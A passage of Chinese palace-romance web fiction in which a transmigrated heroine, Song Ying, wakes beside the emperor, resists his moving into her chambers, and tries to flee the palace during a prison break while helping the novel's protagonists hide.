少了那双眼睛的压迫感,整个人气场都变了。 高挺鼻梁都透着几分斯文贵气。 宋迎这才发觉,狗皇帝的睫毛,真的挺长的—— 看来,这心灵的窗户,关上也别有一番风味啊。 视线往下,是他那双薄唇。 或许是地龙烧得太旺,唇上起了些许干燥细纹,宋迎莫名想上手撕掉。 清晰利落的唇线,衬得微翘的唇峰,无端生出几分欲色。 她的目光,不受控制地顺着他流畅的下颌线继续下滑。 最终……定在了他的喉结上。 那里正随着他的呼吸,做着小幅的滚动。 有人说,男人的喉结…… 宋迎眨了眨眼,脑子里颜色废料横飞,整个人都麻了! 倒不全是因为喉结。 而是因为……某种更具侵略性的东西。 一开始她并没有在意大腿内侧被抵着。 没敢深想,只当是自己睡姿不雅,无意触碰。 宋迎整个人都僵住了。 这下,她连看他的勇气都没了。 下巴拼命向后缩,恨不得点进胸口。 然而,感官一旦被唤醒,便不受理智管控。 搭在她腰间的那只手掌,烫得惊人,还在无意识地摩挲着她的腰窝。 那力道不重,但所过之处,激起阵阵战栗。 宋迎呼吸一滞。 不止是手。 柔软也被毫不留情地挤压。 睡着前,她寝衣本就没穿好,此刻更是形同虚设。 是了,昨天,他、他们在床上…… 那些破碎的、失控的画面一下下闪回。 烧得宋迎脸颊越来越烫,脑子一阵眩晕。 她果然还是做不到。 心理建设做得再好,真枪实刀上战场也难免会害怕。 那一瞬间,宋迎甚至希望自己是这本小说里的人物,或者说,“不要觉醒”。 她无法像小说人物那样,自洽地说服自己,坦然接受跟一个没有建立恋爱关系的人做。 她也无法像穿越人物那样,对于这种吃自己豆腐的男人,白刀子进红刀子出。 清醒的认知让她感到屈辱, 但是,她又没有办法抗拒身体的迎合。 狗皇帝的身体滚烫,贴着真的好舒服。睡起来,也比裘毯暖和。 这些都是事实。 可这算什么? 一夜情?不对啊,他们还什么都没有做…… 宋迎努力寻找着词语,来重新定义两人的关系。 突然,头顶上方传来一阵闷哼。 他醒了。 随即,搭在她腰间的手臂并未拿开,反而顺势上移,带着理所当然的熟稔,在她肩头揉捏了两下。 宋迎更加僵硬了。 “……醒了?” 喉咙里滚出沙哑,磨过宋迎耳膜,激起一个小声的“嗯”。 “饿不饿?” 他闭着眼睛又问。 宋迎只觉得耳朵尖都烧了起来,胡乱又“嗯”了一声。 覆在肩上的手臂倏然一松,宋迎几乎是从他身上滚了下去,凌乱的衣襟敞着。 她慌乱地背过身去,颤抖着去系寝衣细带。 永昭帝支起半边身子,好整以暇地欣赏着她仓皇背影。 见她半晌还未系好,才慢悠悠地挑了下眉。 “来人!” 他扬声道。 门外立刻有内侍端着早膳进来,布好碗筷后,又躬身退了出去,顺手合上了门。 整个过程,针落可闻。 永昭帝披上外袍,行至桌前落座。 可他等了片刻,屏风后的人却迟迟没有动静。 他眉峰微蹙,终于失了耐心,起身绕过那座苏绣屏风。 他脚步一顿。 只见宋迎正站在盥洗架前,嘴里含着一嘴绵密泡沫,腮帮子鼓鼓囊囊,像只小仓鼠。 听见脚步声,她 倏地回头,乌黑水润的眼珠转在他身上,那眼神仿佛在问—— 怎么,用膳前,都不用漱口的吗? 永昭帝被她那眼神看得一噎。 他沉默片刻,悻然在她旁边站定,拿起了另一根干净的马尾牙刷,沾了点青盐牙粉。 铜镜模糊地映出并肩而立的两个人影。 宋迎从镜中看着身侧的男人。 她心下泛起嘀咕,想她在家时,也是有侍女伺候的。 入了宫,都是内侍,她不自在多了,就干脆事事亲为,又不是不会一个人穿衣洗漱。 可…… 宋迎偷偷用余光瞥了瞥,身侧之人娴熟自若的模样。 她心里,忽然就咂摸出一点儿别样的滋味来。 诶—— 铜镜里,同样的素白中衣,同样的洗漱姿态,两人之间弥漫着一种说不清道不明的亲昵感。 简直……和谐的可怕。 明明他们什么都没发生! 永昭帝漱完口,又洗净了双手,重新坐回圆桌前。 他没有动筷。 似乎知道了她在做什么,也多了几分耐心,少了几分焦躁。 宋迎头皮发麻,赶紧吐掉泡沫去擦脸。 又在原地磨蹭了片刻,还是挪了过去。 直到她在对面坐下,永昭帝才拿起汤匙,舀了一勺清粥,送入口中。 真的越来越像事后了…… 宋迎抿着粥,暗自腹诽。 这诡异的默契和温存,让她感觉自己像一只正被温水慢煮的青蛙。 永昭帝倒全然不知她的心思,自顾自说起来。 “这几日,不必上朝了。” 要给她放假? 宋迎心头一跳,刚升起一丝侥幸,就听他继续说道: “朝岁宴前,朝中无甚大事。”他放下粥碗,“正好,朝岁宴交由你来全权操持。” 顿了顿,永昭帝复又继续:“对了,万春殿也一并按你的心意来修。” “啊?”宋迎茫然抬眸,撞进那双含笑的眼。 永昭帝的唇角,牵起她从未见过的弧度。 这真的不太对劲。 宋迎察觉出来了。 狗皇帝春风得意的状态,分明是单方面认定了他们之间有什么! 日哦。 宋迎嘴角抽了抽,她不能认,绝对不能认。 这跟爹妈介绍的相亲对象,虽然长得帅工作好,但是一上来就摸人手,连个表白都没有就想谈恋爱有什么区别啊?! 她不能被煮熟! 就算要被煮,也不能是这么个煮法! “陛下,”宋迎猛地站起身,躬身行礼道,“臣……臣不敢当此殊荣。” “国事为重,臣尚有许多公务未了,这些内庭私事,交由宫人操持更为妥当。” 她咬字刻意加重了“公务”、“国事”。 永昭帝静静地听着,脸上的笑意未减分毫。 他拿起帕子,擦了擦嘴角,然后,伸出长箸,夹起一只水晶虾饺,放入宋迎面前的空碟里。 “若有要紧公务,朕会喊你过目历练。” 他淡淡道,“坐下,先吃饭。” 宋迎只好施施然坐下。 那只水晶虾饺躺在白瓷碟里。 虾仁的绯红隔着剔透莹皮,显得格外诱人。 她不敢吃,更不敢看对面那人闲适自得的模样。 这顿饭,真是如坐针毡,如芒刺背。 终于,永昭帝放下了碗筷。 目光扫过她几乎没动过的餐食,眉心微不可查地蹙了一下。 “不合胃口?” 宋迎头摇得拨浪鼓似的,胡乱找了个借口:“没、没有!就是太烫了,喜欢凉的……喝凉的对胃好。” 永昭帝闻言,薄唇微启,似乎要唤人前来。 宋迎吓得差点跳起来,急忙摆手,同时舀起一大勺粥就往嘴里塞,含糊不清道:“不用不用!现在就凉了,马上就能喝完!” 永昭帝看着她这副避之不及的模样,眸色沉了沉,心底刚压下去的那点烦闷又隐隐窜了上来。 可目光划过她绯红耳根,他瞬间了然。 ——她,是在害羞。 他重新拿起帕子,又擦了擦干净的唇角,想要以此掩盖上扬弧度。 “行。”永昭帝起身,“那你慢用。今日无朝,奏折想必堆积如山了。” 说罢,他转身大跨步走了出去。 永昭帝一走,紧握的汤匙一松,勺里的白粥稀稀拉拉地洒回了碗中。 ……让她办朝岁宴? 这让她拿着钝刀去砍狗皇帝的头有什么区别啊? 不想还好,一想到朝岁宴她就心烦。 一步错,步步错。 只、只是一个猜想而已? 她怎么、怎么能—— 哎呀! 宋迎在心里重重地叹了口气。 她还是对那件事情太害怕了,才兵出损招,把自己折进去了。 这下好了,她真成多米诺骨牌了。 “叫你害怕!叫你多嘴!” 宋迎越想越气,越想越悔,放下筷箸,抬起手就往自己嘴巴上招呼。 “叫你害怕!叫你多嘴!” 就在这时,去而复返的永昭帝,恰好将这一幕尽收眼底。 瞳孔只惊讶了一瞬,随即又被欣喜所取代,俨然一副坠入爱河的模样。 ——她,还在回味。 “陛下,”身后的内侍见他停步,低声请示,“这书案,是否现在就搬进去?” 只见数名内侍抬着一张,比宋迎原来那张大了近一倍的宽大书案,正候在门外。 领头的内侍小心翼翼,又问:“启禀陛下,那……床榻,是否也一并换成更宽大的?” 永昭帝唇角笑意猛地一收,眼神骤然变冷,斥道:“多事。” 宋迎:…… 对话正巧被宋迎听得一清二楚, 不是,等会儿!搬书案?还要换床? 这狗皇帝,他他他……是要跟她同、同居?! 面对强制性的同居警告,宋迎有点接受不了。 她借口“勘察朝岁宴场地”,几乎是落荒而逃。 湿寒冷风铺面,宋迎却热得要命。 她终于理解,为什么说不能办公室恋情了。 ——公私混淆,再无宁日。 这还没谈呢,私生活和工作已经分不开了。 这种“强制性同居”,连一丝反抗的余地都没有! 这要真谈了还得了? 宋迎开始头痛了。 不能硬来,螳臂当车,只会瓦碎。 也不能用软的,引狼入室,她更没有说话的地方了! 思忖着,宫道到了尽头,前方是岔路。 化雪的天,比下雪更冷。 宫人们埋首清扫着两道的积雪。 宋迎目光落在宫道上,在心底无声地叹了口气。 哎,看似有路可走,实则无路可逃啊。 心念电转间,宋迎倏然驻足,觉出一丝不对劲。 她侧首,看向身旁垂首引路的内侍:“这是往何处去?” “启禀殿下,”内侍躬身回话,“前方就是梅园。” 宋迎眉心一蹙,想也不想,转身便折返回去。 梅园? 岂不是在御花庭边上,晦气地方谁要去。 “梅园边上也有殿宇?” “回殿下,梅园旁设有一处‘问花亭’,乃赏梅之所。” “没别的了吗?” “自然不止,”内侍仿佛早有准备,指向另一条岔路,“若殿下不喜梅园,这边还有一处临湖水榭。此刻湖面封冻,景致一绝,可命伶人献上冰嬉之舞一观。” 听上去就好冷。 她拢了拢身上大氅,“寻个暖和些的殿阁吧,要地龙烧得旺的。” “有的!自然是有的!”那内侍眼中一亮,急急在前引路,“殿下请随小人来,前方不远就是!” “那处殿宇,不仅地龙烧得最旺,视野也最为开阔,乃是赏雪佳地。” 等到朝岁宴那天,雪都化尽了,还赏个什么雪景。 但宋迎无所谓什么雪景,她怕冷,她要暖和。 “那是何处?” “回殿下,是承德殿。” 话音刚落,恢弘殿宇已在眼前。 内侍上前与守门的小太监交涉片刻,那厚重门扉便被缓缓推开。 内侍引着她走入,激动地介绍:“殿下您看, 此殿乃高祖钦定,专设国宴之用。太宗、先皇都在此设过宴席。只是朝岁宴多为家宴,才鲜少启用。” 宋迎踏入殿门。 光线从高高的窗格透入,愈发显得空旷死寂,透着久未启用的冷清。 她脚步微微一顿。 脑子里仿佛有两个小人正在激烈地打架。 一个叉着腰,恨铁不成钢: “宋迎,这是机会!你是唯一知道剧情的人!这里的每一处细节都由你把控,包括宫廷守卫的换防!说不定就能找出漏洞,阻止悲剧发生!女主能顺利把男主救走,大反派也不用自戕身亡!开启完美结局!” 另一个闻言翻了个白眼: “可拉倒吧!你忘了自己怎么沦落到给狗皇帝当抱枕的?不就是因为你多管闲事吗?蝴蝶效应啊这是!蝴蝶效应懂不懂!你再掺和,狗皇帝死不死我不知道,但你——绝对会死得很难看。” “躺平,摆烂,装死!这才是你的求生之道!” 叉腰的人痛心疾首:“可他晚上不是什么都没干吗!早上还给你夹虾饺了!” 另一人疯狂呸呸呸,满脸不屑: “一个虾饺就想收买你?什么叫什么都没干!亲也亲了、抱也抱了、摸也摸了!他那是馋你身子,他下贱!” “可是……我感觉她有点喜欢他……” “没有可是!”那人一脚把她踹翻在地,跨坐在身上开启暴打,“你给我清醒一点!凭什么在上个世界你连看都不会多看一眼的男人,换了个世界观,披了个皇帝皮你就可以接受了?” “你这是典型的斯德哥尔摩!是被PUA了!” “你还骗她!她明明就是动心了!” “动心就可以性骚扰了?动心就可以为所欲为了?动心就能光明正大搞强制爱了?” 一拳一拳轮在那人脸上。 “殿下?殿下?” 内侍见她半天不语,表情变幻莫测,不由得放轻了声音,试探着唤了两声。 宋迎猛地回神,脑内,那两个打得你死我活的小人瞬间消失得无影无踪。 她定了定神,对上内侍那张写满“殿下您快拿个主意吧”的脸,忽然就下定了决心。 去他丫的! 都管她屁事,等朝岁宴当天大乱,她就收拾细软回家! 她清了清嗓子,对着那内侍道: “承德殿虽好,但到底冷清了些。朝岁宴乃天子家宴,不宜过分铺张,重在温馨和乐。” 内侍连连点头:“殿下说的是,是小人思虑不周了。” “无妨。”宋迎背着手,踱了两步,“你即刻去一趟内庭,再传礼部诸位大人,就说此事是本王的意思,让他们合议,共同拟个章程出来。” 她语气一顿,补充道:“从宴会地点、流程、歌舞乐章到安防布置,都让他们拿出……三套,对,拿出三套方案来,务必周全,不得有误。” “拟好了,再呈给本王过目。” “是!小人这就去办!” “等等。”宋迎叫住他。 内侍恭敬转身:“殿下还有何吩咐?” 宋迎沉吟片刻,脸上严肃端凝散去,眼神亮了亮。 “别的都好商量,”她压低了声音,“就是菜单,务必!让他们用心些。” “……是?”内侍有点没跟上。 “这几道一定要有,”宋迎舔了舔唇,开始报菜名,“糖醋里脊、东坡肉、蒜蓉开边虾、梅菜扣肉……对了,再来个小蛊佛跳墙,奶白鱼汤也熬上。点心嘛,就杏仁豆沙糕、莲花酪、还有牛乳沙。” “记得,牛乳沙要冰镇的,多放糖,来个七分的。” 内侍:………… 他整个人都懵了。 这、这氛围转变得也太快了些。 但,亲王吩咐,他不敢不从,只能将这一连串菜名记在心里,躬身退了出去。 打发走了内侍,宋迎长舒一口气,只觉得浑身轻松。 对,就这样。 把专业的事交给专业的人去办。 她懂什么宫廷宴会? 她只要负责在方案上画个圈,然后安心等着吃席就好了。 至于狗皇帝的死活…… 她已经努力过了,是命运不让她努力的。 这就叫顺应天意,道法自然。 反正离朝岁宴还有段日子,能拖一天是一天,能躲一时是一时。 整理好心情,宋迎心情颇好地回了寝殿。 正巧赶上永昭帝出门议事。 他人虽然走了,魂还飘在屋里呢。 没一会儿功夫,这里已经全是狗皇帝的痕迹了。 原本靠在窗边的那张小书案,不见了。 换成了雕花大书案。 那书案宽得离谱,别说两个人并排坐着批折子,就是三个人在上面打滚都绰绰有余。 书案的一头,整齐地码放着她惯用的文房四宝; 而另一头……则摆着另一套笔墨纸砚,旁边还放着一方玉玺。 宋迎的太阳穴突突直跳。 她深吸一口气,绕过那张“双人办公桌”,只想一头扎进被窝里冷静一下。 可当她走到床边时,瞳孔又是一缩。 床…… 床也变了。 床虽然还是原来那张, 但是四件套已经换成了丑不拉几的土黄色! 床榻外侧,还多了个枕头,比她的高出一大截! 宋迎有种领地被人入侵的窒息感。 她气得浑身发抖,一屁股坐在床沿上。 还她之前好看藕荷色四件套!!! 可恶!这狗皇帝,仗着自己是皇帝,仗着自己位高权重,就可以这样为所欲为吗! 宋迎越想越气,猛地抓过那个碍眼的龙纹高枕,对着它就是一顿猛捶。 “叫你搬桌子!叫你搞强制爱!叫你把办公室开我卧室里!” “我捶死你个狗皇帝!捶死你!你这个封建帝制的糟粕!” 她把枕头当成永昭帝,左勾拳右勾拳、右勾拳左勾拳…… 直到饱满枕芯被锤得扁扁的,宋迎才气喘吁吁地停手。 她脱力向后一倒,呈一个“大”字形瘫在床上,眼神空洞地望着头顶顶帐。 熬住!宋迎! 再熬个几天就跑路! 正当她头痛欲裂之际,殿外又传来内侍的通传声。 “启禀殿下,内庭刘总管求见,说是为万春殿修一事,给您送图样来了。” 万春殿? 宋迎一个激灵坐了起来。 对了,还有这茬! 早上狗皇帝随口一句“全按你的心意来办”,她当时光顾着震惊和抗拒,压根没往心里去。 谁知道这帮人办事效率高得吓人! 这才半天功夫,连设计图都送来了?! 不行,这活儿绝对不能接! 这要是接了,不就等于昭告所有人,她和狗皇帝同居了吗? 她还没有傻到会往自己身上浇开水的程度。 宋迎迅速整理好仪容,行至屏风前,沉声道: “进。” 门开,一个满脸堆笑的中年大监,领着几个小内侍,抱着一堆卷轴和木匣子走了进来。 一行人浩浩荡荡的。 “小人参见殿下!”刘总管行了个大礼,笑得眼睛都眯成了一条缝,“陛下有旨,万春殿的修布置,一应事宜,全凭殿下做主!” 说着,他一挥手,小内侍们立刻将手中的东西铺陈开来。 紫檀、黄花梨、沉水香的木样,被巧匠雕琢成微缩的斗拱、梁柱,上面纹样繁复精美; 一字排开的描金绘彩漆盘上,七彩光晕随着光线流转,华光溢彩; 几匹新贡的云锦蜀绣被缓缓抖开,一匹竹叶绿,一匹暮山粉,美得令人屏息; 更有南海采来的整块暖玉,被打磨成光可鉴人的地砖样式,触手温润。 …… …… 好家伙,这阵仗,不知道的还以为是要修皇陵呢。 宋迎只扫了一眼,就觉得眼底发晕。 刘总管还在热情地介绍:“殿下您看,这是京州最时兴的样式……只要殿下喜欢,就是天上的月亮,小人也得想法子给您安到殿顶上去!” 宋迎听得嘴角直抽。 她稳了稳心神 ,淡淡道:“刘总管有心了。” 刘总管笑得更谄媚了:“为殿下分忧,是小人的本分!” “只是……”宋迎话锋一转,面露难色,“本王对于这亭台楼阁之事,实在是一窍不通。让本王来定夺,岂不是明珠暗投,辜负了这些好东西?” 刘总管一愣:“这、这陛下的意思是……” “陛下的心意,本王岂能不知?”宋迎打断他,“但正因如此,才更不能草率行事。您说,这普天之下,谁的品味能高过陛下?” 她抛出杀手锏: “陛下的喜好,便是本王的喜好。” 这话绕得刘总管脑子也晕了。 他愣在原地,品了半天,才品出一点不对味来。 “那……依殿下之见……” “就按原来的办。” “得了!殿下说的是!是小人刚才愚钝了!”刘总管恍然大悟,连忙躬身,“那小人这就回去,立马开工!” “有劳了。”宋迎客气地点了点头。 希望今晚就能竣工! 宋迎咬牙切齿地想着。 送走了浩浩荡荡一行人,殿内重新安静下来。 可宋迎心头那份轻松,却没能持续多久。 殿内的一草一木,都在昭示着—— 她已经彻底失去了对这方天地的掌控权。 她走到窗边,抬眼望去。 宫墙高耸,将一方天地切得四四方方。 这里什么都好。吃的是山珍海味,穿的是绫罗绸缎,用的器物随便一件都都价值连城。 可没有一样,是属于她的。 这个小小的房间,说被占就被占了。 她忽然,又很想很想家了。 想起辽州那个还没这里一半大的房间,窗台上摆着她从集市淘来的小玩意儿,书架上塞满了她爱看的闲书。 爹娘也从不会指手画脚,动她的宝贝玩意儿。 不像现在。 越想,心里越是委屈,越是酸涩得发紧。 酸意不受控制地涌上眼眶,视线开始变得模糊。 宋迎拼命地眨眼,想把那点湿意逼回去,可最终还是没能忍住。 她不是什么大女主,也不是什么菟丝花。 她只是想家了,想回家看看家人。 宋迎抬手捂住脸,肩膀微微抽动,细细的呜咽声从指缝间溢出。 就在这时,殿门被人悄无声息地推开了。 第42章 第42章从此天高海阔,她与这些…… 泪眼模糊间,宋迎抬首望向门口。 一道高大身影立在屏风外,将门扉处透进的天光尽数吞没。 除了他,还能有谁。 心口一窒,宋迎转过身,胡乱抹去脸上湿痕。 永昭帝的脚步停在屏风外。 他听见了宋迎的呜咽声,可在他出现的瞬间,那哭声又仓皇敛住了。 怎么又哭了? 结合他出现即仓皇收敛的行为。 难不成这次是因他而哭? 永昭帝很有耐心地默立了片刻。 待他绕过屏风,视线一扫,掠过那只被锤变形的枕头,随即,落在了那双湿漉漉的眼睫上。 空气凝滞了数息。 她不喜欢跟他同寝? 永昭帝垂在身侧的手悄然收紧。 继而五指一松,撩开衣摆,在她身侧坐下。 半晌,他终于得出了结论,沉声笃定道: “不喜欢朕亲选的云缎被褥?” 这是床褥的事儿? 宋迎一口气被堵住。 见她不语,永昭帝只当自己猜对了,耐心更添几分: “若是不喜,等会便让人换了你喜欢的样式来。” “那……方才为何要换?” 宋迎侧过脸,那双泛红的眼睛觑着他。 永昭帝目光与之相撞了一瞬,随即微微一偏,飘忽着,不敢再落回她身上。 “先传膳吧。” 他丢下两个字,拂袖起身,快步走到了圆桌边。? 宋迎水眸微眯,心底狐疑更甚。 隔着一道屏风,宋迎自然也看不见,永昭帝耳廓的薄红,已然烧至颈侧,双手也有些不自在地放在膝上摩挲着。 殿外,内侍们捧着菜肴,鱼贯而入。 突然,宋迎闻到一股熟悉的酱汁味。 瞳孔倏然一缩,脚步被牵引着,缓步走出。 是—— 一桌全肉宴! 糖醋里脊、东坡肉、蒜蓉开边虾、梅菜扣肉…… 每一道菜,都是她的心头好。 只是佛跳墙,换成了一盅清淡的松茸鸡汤。 这是打一巴掌,再给一颗甜枣? 这颗枣,未免太甜了些。 随即,宋迎目光冷然,游移于菜肴与永昭帝之间。 “……先用膳。” 永昭帝开了口,视线却依旧落在别处,不敢与她对上。 宋迎目光刮过他尚未褪尽红晕的脖颈,心底冷嗤一声。 随即,一言不发,走向他对面最远的位置坐下。 食物是无辜的,尤其是她心心念念的肉。 宋迎一口一块肉,吃得专心致志。 永昭帝没再说话,只是慢条斯理地用着膳,时不时会夹一筷子菜,越过大半桌面,精准投放进她碗里。 宋迎自然没胆子去叫嚣。 他夹什么,她便吃什么。 就在这诡异的安静中,永昭帝脖颈的红晕渐渐褪去。 他终于找回了自己的声音,从容开口:“在辽州时,也常吃这些?” “嗯。” 宋迎敷衍地应着,是他先不理她的。 “在家时,还喜欢做什么?” “……睡觉。”敷衍得很彻底。 永昭帝没听出敷衍,自然接话,“那你为何不喜欢跟朕睡?” 宋迎握着筷箸的手,猛地一抖。 吃饭的“睡觉”和你说的“睡觉”,这能是一回事吗?! 她眨了眨眼,两瓣唇蹦不出一个字。 永昭帝看见她僵硬神色,愈发确定这便是症结所在。 既是症结所在,自然要问个清楚。 “为什么?” 他煞有其事地又问了一遍。 “臣……”宋迎艰难开口,脑子飞速运转着,“臣睡相不好,怕……怕惊扰了陛下龙体。” 谁知,永昭帝听完,眉心微蹙不仅没有散开,反而更深了。 “胡言。” 他“啪”一下,放下筷箸,“你睡相很好。” 宋迎瞳孔微微扩大。 只听他继续严肃口吻,补充道: “睡着了便一动不动,呼吸也很轻。” 宋迎:………… 永昭帝语气平淡得让宋迎头皮发麻。 这种关系很奇怪啊。 情人未满,炮友不沾。 可若说是恋爱…… 宋迎脸垮了下来,她宁肯单身到死,也绝不碰这种不清不楚的关系。 永昭帝见她只垂着眼不说话,还当她是在嘴硬。 他微微倾身,那双黑眸里,盛着几分天真的困惑,仿佛真的不明白。 “所以,”他将问题又抛了回来,“到底为什么?” 因为男女授受不亲! 因为我们关系没到位! 因为按照剧情,没几天你就要被剧情杀了!我不想当寡妇啊大哥! 她能怎么说?说“陛下你快死了,离我远点免得溅我一身血”吗? 宋迎在心里咆哮,嘴上却一个字也吐不出来。 迎着永昭帝迫人目光,她简直快要疯了。 就在这时—— “陛下——!” 急促通传声自梁上而来,是隐卫! 宋迎浑身一松,有救了! 那隐卫显然是事态紧急,都顾不上旁人在场,便急急来报: “地牢来报,有人劫狱!” 帝王眼底瞬间缱绻褪去,周身气场陡然一变。 鱼儿上钩了。 狭长凤眸微眯,他没有去看隐卫,只从喉间滚出三个字: “抓活的。” 宋迎没反应过来。 劫 狱?男女主? 是在这个时间点吗?! 她目光扫过桌案—— 是原著剧情提前了?因为这桌跟朝岁宴一摸一样的菜肴? 宋迎下意识地抬眸,望向对面。 哪里还有人。 永昭帝飞身而出,宋迎只看见一道凛冽残影。 剧情,彻底失控了。 跑! 宋迎一个激灵从凳子上弹起来,冲向内室—— 大好时机!收拾细软,赶紧跑路! 宋迎立刻扑到床榻边,趴在地上摸索着活板。 指尖用力一勾,暗格应声打开。 小箱子被她一把拽出。 ——上次,她藏着书案那边,被那些小太监翻出来带去了万春殿,放在了博古架上。 这次,她学聪明了,藏在了床榻下。 谢天谢地,狗皇帝没换床。 动作快点! 再快一点! 锁扣弹开,宋迎指尖发颤,飞快捻着银票。 她把银票分成几叠,一叠塞在广袖里,一叠贴着胸口,最后几张藏在靴子里。 沉甸甸的东西一律不带。 金叶子带的不多,就藏了一点点在腰带的夹层里。 收拾好一切,她才喘息着起身,抬眼望向一旁的铜镜。 镜中人穿着繁复工装,宋迎没有换下它的打算。 这身衣服虽然累赘,但路上难免遇上有人盘问。还好如今是冬天,里头衣服多,等出了宫,再换上窄袖布衣也不迟。 到时候,谁还认得她宋迎? 宋迎迈出偏殿,最后瞥了一眼万春殿,再无留恋。 都跟她没关系了! 等狗皇帝从地牢回来,发现人去殿空,她怕是早就出了京州! 寒风送来裹着焦炭的烟味。 宋迎循着望去—— 一道浓黑烟柱冲天而起,将半边昏黄染黑。火光驱着天边霞光,烫出一片焰红。 他回不来了—— 宋迎浑身一激灵,丝毫未觉后背被冷汗浸透。 不能再等了!一刻都不能! 这火一起,全宫戒严,到时候就真的插翅难飞了! 她收回视线,不再走长廊甬道,而是窜入一旁的偏僻小径之中。 远方隐约传来厮杀的哀嚎,衬得周遭死寂愈发惊心动魄。 大半的禁军侍卫都被引去地牢了。 黎婧容这是喊来了多少人劫狱啊! 还是——狗皇帝想彻底清算? 不,这些都跟她没关系了! 宋迎深吸了一口气,扯开思绪,还是想些实际的吧。 她女儿家的身份太明显了,幸好,摄政王当久了,束发已经是家常便饭。 临走前还裹了束胸,到时候出了宫,头发再剪短一点,扮个落魄书生,应该问题不大。 但是她不会骑马。 雇马车到辽州,路途太远,人家要么不接,要么中途容易起歹心。 先设法混到最近的冀州,再转水路比较稳妥。 宋迎稍稍压低身形,借着花木的阴影,走得又稳又快。 拜永昭帝疑心重、不喜内侍近身所赐,宫人少有。 偶有几个小太监,也只是远远便垂首避让,无人敢上前盘问。 若是宫女,怕是寸步难行。 霞光尽褪,夜色依旧盖不住远方血光。 寒风中又裹起马蹄嘶叫声,时断时续,听着宋迎心里发慌。 脚步不由自主加快了,几乎要奔跑起来—— 却不想,前头一道身影踉跄扑出! 宋迎反应极快,她身形一错,堪堪避开。 那人失了力,重重摔在她脚边,发出一声痛呼。 借着远处火光,宋迎看清了那张脸。 黎婧容! 她怎么会在这?! 纵使黎婧容发髻松散,浑身被烟熏得灰扑扑的。 但宋迎还是一眼就认出来了。 对方显然也看见了她,那双杏眼瞬间迸出光亮。 “宋、宋姑娘?” “宋姑娘!真的是你!”她小脸黢黑,挣扎着回手指着身后,“求你,帮帮我!” 宋迎顺着她手指的方向望去。 那边阴影里,还靠坐着一个人,没什么动静,已经是半昏迷的状态。 是怀玉泽。 “怀哥哥他身受重伤,再不找个地方疗伤,他会死的!”黎婧容扶着墙,颤颤巍巍站了起来,“我一个人……我一个人带不走他……” 她话音一顿,显然是看清了宋迎的打扮。 但黎婧容还是恳求道:“半个时辰!宋姑娘,我只要半个时辰就可以了!” 宋迎的心跳停一瞬,与那双眸子对上。 她又不是菩萨!她自己都自身难保了! 她和他们很熟吗?满打满算不过见过几面! 为什么要她冒着风险去救人! 凭什么要她冒着风险去救人!! “快!这边也要搜!” “刺客往这个方向跑了!陛下有旨!要抓活的!” 远处,杂乱脚步声与呼喝声一齐袭来。 火把光亮由远及近,隐隐透了过来,将黎婧容的脸色照的忽明忽暗。 黎婧容脸色煞白,光影明灭间,宋迎的迟疑已经说明了一切。 心里最后一丝希望也碎了。 宋迎被那目光刺得移开视线,再这样拖下去—— 要是被侍卫撞见,她就算浑身是嘴也说不清了。 她心一横,压低声音,语气又急又狠: “跟我走!” 黎婧容愣住了。 宋迎径直冲到怀玉泽那边,本想架人,刚伸手,就看见他还穿着烂衣服。 这身烂衣服勾起了她不好的回忆。 宋迎有些尴尬,又有些急。 她旋身走出,对黎婧容说道:“还是你架着他走吧,我去引开人!” 继而,走到长廊开阔处。 下一瞬,宋迎声线陡然拔高,仿佛换了一个人: “那边的,给本王站住!” “本王方才从御花庭而来,依稀瞥见黑影往假山那边去了!你们是瞎子吗!” “刺客身受重伤,一路必有血迹!跟着血找人都不会,难怪被贼人三番五次闯入皇宫!留着你们吃干饭的吗!” 她一顿呵斥,威势十足。 几队禁军吓得腿一软,齐刷刷跪了一地,垂首请罪: “殿下息怒!” “走!刺客重伤,定是跑不出去,假山隐蔽,此刻定在假山疗伤!” 为首的侍卫长指挥下令,“去御花庭!你们走东边!这队跟着我从西边包抄!” “是!” 几对人马调转方向,浩浩荡荡走了。 危机暂时解除。 黎婧容体力已到极限,几乎是凭着意志力,架着怀玉泽,跟在宋迎身后。 宋迎疾步走在前方。 时不时回眸,目光扫过身后两人,她还留意了下地面—— 一路上干干净净,没有留下一丝血迹。 怀玉泽的伤势是肉眼可见的重,怎么会……? 眼下没工夫细想,宋迎压下疑虑,继续引路。 整个皇宫里,只有两处地方侍卫不会去搜。 一处是万春殿,另一处便是临靠着的东偏殿。 里头内藏机要,等闲侍卫根本不敢靠近,是最安全的地方。 她将人带去那里,再悄然离开,神不知鬼不觉。 但转念又想到原书剧情—— 按照设定,疗伤就是…… 男女主大概率会在她的床上,滚床单了。 宋迎的脚步一个趔趄,差点咬到自己的舌头。 没事反正她也不睡了。 那床被褥也不是她喜欢的,脏了最好,脏了咱也不心疼。 这段时间,宋迎对皇宫地形比从前熟悉更甚。 没一会,三人有惊无险地抵达了东偏殿。 “咔哒”,宋迎推开殿门,侧身让他们进去。 自己却停在了门外。 “他们不会进来的,你们……”宋迎有些不自在,目光刻意避开那张床。 意有所指道,“……尽快吧。” 说完,宋迎转身要走。 “宋姑娘!”黎婧容出声喊住了她, 她破天荒地没管怀玉泽,怔然看着那道绀黄身影。 “现在,你可以知道我的名字了吗?” 宋迎脚步一顿,没有回头。 只听身后的黎婧容笑道:“宋姑娘幸会,在下黎婧容。” 宋迎紧了紧垂在身侧的拳头,缓缓回首。 “黎姑娘,” 火舌在天际吞吐,焰红光斑投射而入,在她们身上 分割出明暗光影。 她说出了初见时说的话: “后会无期。” 言毕,她再不迟疑,转身离去。 从此天高海阔,她与这些人,再无瓜葛。 宋迎脚下生风,朝着宫门的方向疾行。 她要把刚刚耽误的时间都抢回来! 可刚绕过转角,宋迎就瞥见前方有一团黑影。 虽然只是一团黑乎乎的影子,但是宋迎还是认出来了! 他怎么……这么快就回来了?! ……不对,他五感异于常人,血液或许可以被封住,但是气味不会…… 他、他—— 宋迎呼吸一窒,逃跑路线被堵死,只好折返回去。 前有煞神,后有…… 宋迎刚奔回殿门外,里面已经传出些许低喘。 宋迎:………… 殿里还有一对瘟神啊! 完了完了完了。 在永昭帝的视线扫过来的前一瞬—— 宋迎一个闪身,缩到了墙角凹陷处,自己恨不得嵌进墙内,与阴影融为一体。 千万别发现我……千万别…… 永昭帝缓步从拐角处走出。 他衣袍齐整,不见半分狼狈,身上的血腥味也不过是袖口的几点红。 显然,那不是他的血。 宋迎呼吸都停了,视线缓缓挪至上方—— 还好……他的眼睛还是黑瞳。 还好。 他没发现她。 紧绷到发痛的神经稍稍松懈。 然而下一秒—— 永昭帝的脚步,恰恰停在了她方才站立的位置。 他微微侧首,望见殿内两道纠缠人影。 